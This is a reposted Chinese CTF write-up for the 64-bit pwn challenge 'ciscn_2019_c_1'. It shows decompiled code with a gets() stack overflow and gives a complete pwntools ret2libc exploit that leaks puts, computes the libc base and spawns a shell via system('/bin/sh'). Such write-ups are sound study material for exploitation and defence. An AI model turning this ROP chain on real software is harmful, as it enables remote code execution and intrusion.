IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> C++知识库 -> PWN|ciscn_2019_c_1 -> 正文阅读

[C++知识库]PWN|ciscn_2019_c_1

1.检查保护机制

(1)开启堆栈保护

(2)64位文件

2.用64位IDA打开该文件

(1)shift+f12查看关键字符串

没有看到后面函数(system等)?

(2)进入mian函数

?

int __cdecl main(int argc, const char **argv, const char **envp)
{
? int v4; // [rsp+Ch] [rbp-4h] BYREF

? init(argc, argv, envp);
? puts("EEEEEEE ? ? ? ? ? ? ? ? ? ? ? ? ? ?hh ? ? ?iii ? ? ? ? ? ? ? ?");
? puts("EE ? ? ?mm mm mmmm ? ?aa aa ? cccc hh ? ? ? ? ?nn nnn ? ?eee ?");
? puts("EEEEE ? mmm ?mm ?mm ?aa aaa cc ? ? hhhhhh ?iii nnn ?nn ee ? e ");
? puts("EE ? ? ?mmm ?mm ?mm aa ?aaa cc ? ? hh ? hh iii nn ? nn eeeee ?");
? puts("EEEEEEE mmm ?mm ?mm ?aaa aa ?ccccc hh ? hh iii nn ? nn ?eeeee ");
? puts("====================================================================");
? puts("Welcome to this Encryption machine\n");
? begin();
? while ( 1 )? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
? {
? ? while ( 1 )
? ? {
? ? ? fflush(0LL);
? ? ? v4 = 0;
? ? ? __isoc99_scanf("%d", &v4);
? ? ? getchar();
? ? ? if ( v4 != 2 )????????????????????????? ? // v4 == 2
? ? ? ? break;
? ? ? puts("I think you can do it by yourself");
? ? ? begin();
? ? }
? ? if ( v4 == 3 )
? ? {
? ? ? puts("Bye!");
? ? ? return 0;
? ? }
? ? if ( v4 != 1 )
? ? ? break;
? ? encrypt(); ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?// 加密函数
? ? begin();
? }
? puts("Something Wrong!");
? return 0;
}

(3)进入excrypt()函数

int encrypt()
{
? size_t v0; // rbx
? char s[48]; // [rsp+0h] [rbp-50h] BYREF
? __int16 v3; // [rsp+30h] [rbp-20h]

? memset(s, 0, sizeof(s));
? v3 = 0;
? puts("Input your Plaintext to be encrypted");
? gets(s); ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?// gets函数溢出,0x50
? while ( 1 )
? {
? ? v0 = (unsigned int)x;
? ? if ( v0 >= strlen(s) )
? ? ? break;
? ? if ( s[x] <= 96 || s[x] > 122 )
? ? {
? ? ? if ( s[x] <= 64 || s[x] > 90 )
? ? ? {
? ? ? ? if ( s[x] > 47 && s[x] <= 57 )
? ? ? ? ? s[x] ^= 0xFu;
? ? ? }
? ? ? else
? ? ? {
? ? ? ? s[x] ^= 0xEu;
? ? ? }
? ? }
? ? else
? ? {
? ? ? s[x] ^= 0xDu;
? ? }
? ? ++x;
? }
? puts("Ciphertext");
? return puts(s);
}

3.EXP

#encoding = utf-8

from pwn import *
from LibcSearcher import *

context(os = 'linux',arch = 'i386',log_level = 'debug')
#context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./ciscn_2019_c_1')
content = 1

def main():
	if content == 1:
		p = process('./ciscn_2019_c_1')
	else:
		p = remote('111.200.241.244',55494)
	
	main_addr = elf.symbols['main']
	plt_addr  = elf.plt['puts']
	got_addr  = elf.got['puts']
	ret_addr  = 0x00000000004006b9
	rdi_addr  = 0x0000000000400c83
	r15_addr  = 0x0000000000400c81

	
	payload = b'a' * (0x50+0x8) + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr)
	p.sendlineafter("Input your choice!",'1')
	p.sendlineafter("Input your Plaintext to be encrypted",payload)
	p.recvuntil("Ciphertext\n")
	p.recvuntil("\n")
	puts_addr  = u64(p.recv(6).ljust(8,b'\x00'))
	print(hex(puts_addr))
	
	libc_puts_addr   = libc.symbols['puts']
	libc_system_addr = libc.symbols['system']
	libc_bin_addr    = next(libc.search(b'/bin/sh'))
	
	base_addr  	 = puts_addr - libc_puts_addr
	system_addr	 = base_addr + libc_system_addr
	bin_addr 	 = base_addr + libc_bin_addr
	
	payload1 = b'a' * (0x50+0x8) + p64(ret_addr)+ p64(rdi_addr) + p64(bin_addr) + p64(system_addr)
	p.sendlineafter("Input your choice!",'1')
	p.sendline(payload1)
	
	p.interactive()
main()

?

?

?

  C++知识库 最新文章
【C++】友元、嵌套类、异常、RTTI、类型转换
通讯录的思路与实现(C语言)
C++PrimerPlus 第七章 函数-C++的编程模块(
Problem C: 算法9-9~9-12:平衡二叉树的基本
MSVC C++ UTF-8编程
C++进阶 多态原理
简单string类c++实现
我的年度总结
【C语言】以深厚地基筑伟岸高楼-基础篇(六
c语言常见错误合集
上一篇文章      下一篇文章      查看所有文章
加:2022-03-03 15:50:34  更:2022-03-03 15:57:38 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 4:35:51-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码